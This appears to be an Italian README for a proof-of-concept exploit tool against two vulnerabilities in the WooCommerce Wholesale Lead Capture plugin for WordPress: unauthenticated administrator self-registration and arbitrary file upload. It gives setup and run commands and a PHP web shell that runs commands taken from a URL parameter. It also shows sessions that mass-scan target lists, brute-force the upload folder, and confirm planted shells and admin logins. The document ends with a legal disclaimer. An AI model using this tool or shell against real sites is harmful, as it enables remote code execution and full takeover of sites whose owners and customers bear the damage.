
Privilegio non autenticato | Upload non autenticato di file arbitrari
Descrizione:
Il plugin WooCommerce Wholesale Lead Capture per WordPress è vulnerabile all'Escalation dei Privilegi non Autenticata in tutte le versioni interessate note. La vulnerabilità risiede nel gestore dell'azione AJAX wwlc_create_user, che elabora le richieste di registrazione utente senza sanificare o validare adeguatamente i campi di ruolo forniti dall'utente. Un attaccante remoto non autenticato può creare una richiesta POST appositamente formata che inietta campi arbitrari di capacità WordPress — inclusi wp_capabilities[administrator] — direttamente nei metadati utente al momento della creazione dell'account. Ciò consente all'attaccante di auto-registrarsi come amministratore WordPress senza alcuna autenticazione preventiva o interazione con un utente legittimo, con conseguente compromissione totale dell'installazione WordPress interessata.
Descrizione:
Il plugin WooCommerce Wholesale Lead Capture per WordPress è vulnerabile all'Upload Arbitrario di File non Autenticato in tutte le versioni interessate note. La vulnerabilità risiede nell'azione AJAX wwlc_file_upload_handler, registrata senza alcun requisito di autenticazione o verifica del nonce. Inviando una richiesta POST multipart opportunamente modificata a /wp-admin/admin-ajax.php, un attaccante remoto non autenticato può caricare file di tipo arbitrario — incluse web shell PHP — nella directory wp-content/uploads/ del server, all'interno di una sottodirectory wwlc-temp-* generata dinamicamente. Lo sfruttamento riuscito porta all'Esecuzione Remota di Codice (RCE) sul server web sottostante, che opera con l'account utente del processo web.
Questo è uno script di sfruttamento Proof-of-Concept (PoC) per le due vulnerabilità critiche descritte sopra, che prende di mira le installazioni WordPress che eseguono il plugin WooCommerce Wholesale Lead Capture. Lo strumento supporta due modalità di attacco indipendenti:
| Modalità | Tipo di Attacco | Obiettivo |
|---|---|---|
| Modalità 1 | Upload Arbitrario di File non Autenticato + scoperta della cartella tramite brute-force | Caricare una web shell PHP e localizzarla indovinando la cartella su più livelli |
| Modalità 2 | Escalation dei Privilegi non Autenticata tramite Registrazione | Auto-registrarsi come Amministratore WordPress e verificare l'accesso admin |
pip install requests urllib3 colorama
Oppure installa tramite il file dei requisiti:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
Lo strumento presenta un'interfaccia terminale interattiva. Ti verranno richiesti tutti i parametri necessari.
Crea un file di testo semplice (ad es., list.txt) con un URL target per riga:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Esempio di file shell (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Nota: La cartella
wwlc-temp-*viene generata dinamicamente dal plugin tramiteuniqid('wwlc-temp-')di PHP. Lo strumento utilizza una strategia di brute-force a più livelli per individuarla:
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
Lo strumento:
administrator| File | Descrizione |
|---|---|
scan_results/wwlc_uploads.txt |
[INFO] Mode2 | Target: https://target.com
[SUCCESS] https://target.com | nonce found on /wholesale-register/: a1b2c3d4e5
[INFO] https://target.com | using discovered nonce
[SUCCESS] https://target.com | registration success for user=Nx_admin_x7k2
[SUCCESS] https://target.com | ADMIN login confirmed as Nx_admin_x7k2
[INFO] Mode1 | Target: https://target.com
[INFO] https://target.com | upload HTTP time: 0.847s
[SUCCESS] https://target.com | upload success file_name=shell_abc123.php
[INFO] https://target.com | pattern brute-force (50003 guesses)
[SUCCESS] https://target.com | shell FOUND via pattern: https://target.com/wp-content/uploads/wwlc-temp-00000123/shell_abc123.php
[INFO] https://target.com | folder scan stats: attempts=123, time=4.213s, rate=29.2 req/s
Autore: Nxploited (Khaled Alenazi)
QUESTO STRUMENTO È FORNITO ESCLUSIVAMENTE PER SCOPI EDUCATIVI E DI RICERCA SULLA SICUREZZA AUTORIZZATA.
L'autore, Nxploited (Khaled Alenazi), e tutti i contributori di questo progetto non approvano, non supportano e non si assumono alcuna responsabilità per l'uso improprio di questo strumento o per qualsiasi danno causato dall'uso di questo software contro sistemi per i quali non si dispone di un'esplicita autorizzazione scritta.
- ✅ Consentito: Utilizzo su sistemi di tua proprietà o per i quali ti è stato concesso il permesso scritto esplicito di testarli.
- ❌ Vietato: Utilizzo contro qualsiasi sistema senza la previa esplicita autorizzazione scritta del proprietario del sistema.
L'accesso non autorizzato a sistemi informatici è illegale e punibile ai sensi delle leggi applicabili, incluse, a titolo esemplificativo ma non esaustivo, il Computer Fraud and Abuse Act (CFAA), il Computer Misuse Act (CMA) e la legislazione equivalente a livello mondiale.
Utilizzando questo strumento, accetti la piena responsabilità delle tue azioni e confermi di avere l'autorità legale per testare i sistemi presi di mira.
L'autore non si assume alcuna responsabilità per eventuali danni diretti, indiretti, incidentali o consequenziali derivanti dall'uso o dall'abuso di questo software.
© 2026 Nxploited (Khaled Alenazi) — Solo per ricerca sulla sicurezza autorizzata.
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-27542 |
| Gravità | CRITICA — Punteggio CVSS v3.1: 9.8 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Componente Interessato | Plugin WooCommerce Wholesale Lead Capture (WWLC) per WordPress |
| Tipo di Vulnerabilità | Escalation dei Privilegi non Autenticata |
| Autenticazione Richiesta | Nessuna |
| CWE | CWE-269: Gestione Impropria dei Privilegi |
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-27540 |
| Gravità | CRITICA — Punteggio CVSS v3.1: 9.8 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Componente Interessato | Plugin WooCommerce Wholesale Lead Capture (WWLC) per WordPress |
| Tipo di Vulnerabilità | Upload Arbitrario di File non Autenticato (che porta all'Esecuzione Remota di Codice) |
| Autenticazione Richiesta | Nessuna |
| CWE | CWE-434: Upload Non Limitato di File con Tipo Pericoloso |
| Livello | Strategia | Descrizione |
|---|
| 0 | Elenco Directory | Tenta di elencare la directory degli upload se aperta |
| 1 | Basata su Pattern | Tentativi numerici sequenziali e derivati dal tempo |
| 2 | Hex Basata sul Tempo | Basata sui timestamp delle richieste HTTP osservate |
| 3 | Hex Casuale | Tentativi di stringhe hex puramente casuali |
| Tutti i siti in cui l'upload del file è riuscito (Modalità 1) |
scan_results/wwlc_shells_found.txt | URL completi delle shell confermate accessibili (Modalità 1) |
scan_results/wwlc_register_results.txt | Tutti i risultati dei tentativi di registrazione con le credenziali (Modalità 2) |
scan_results/Admin_login.txt | Accessi admin confermati con le credenziali (Modalità 2) |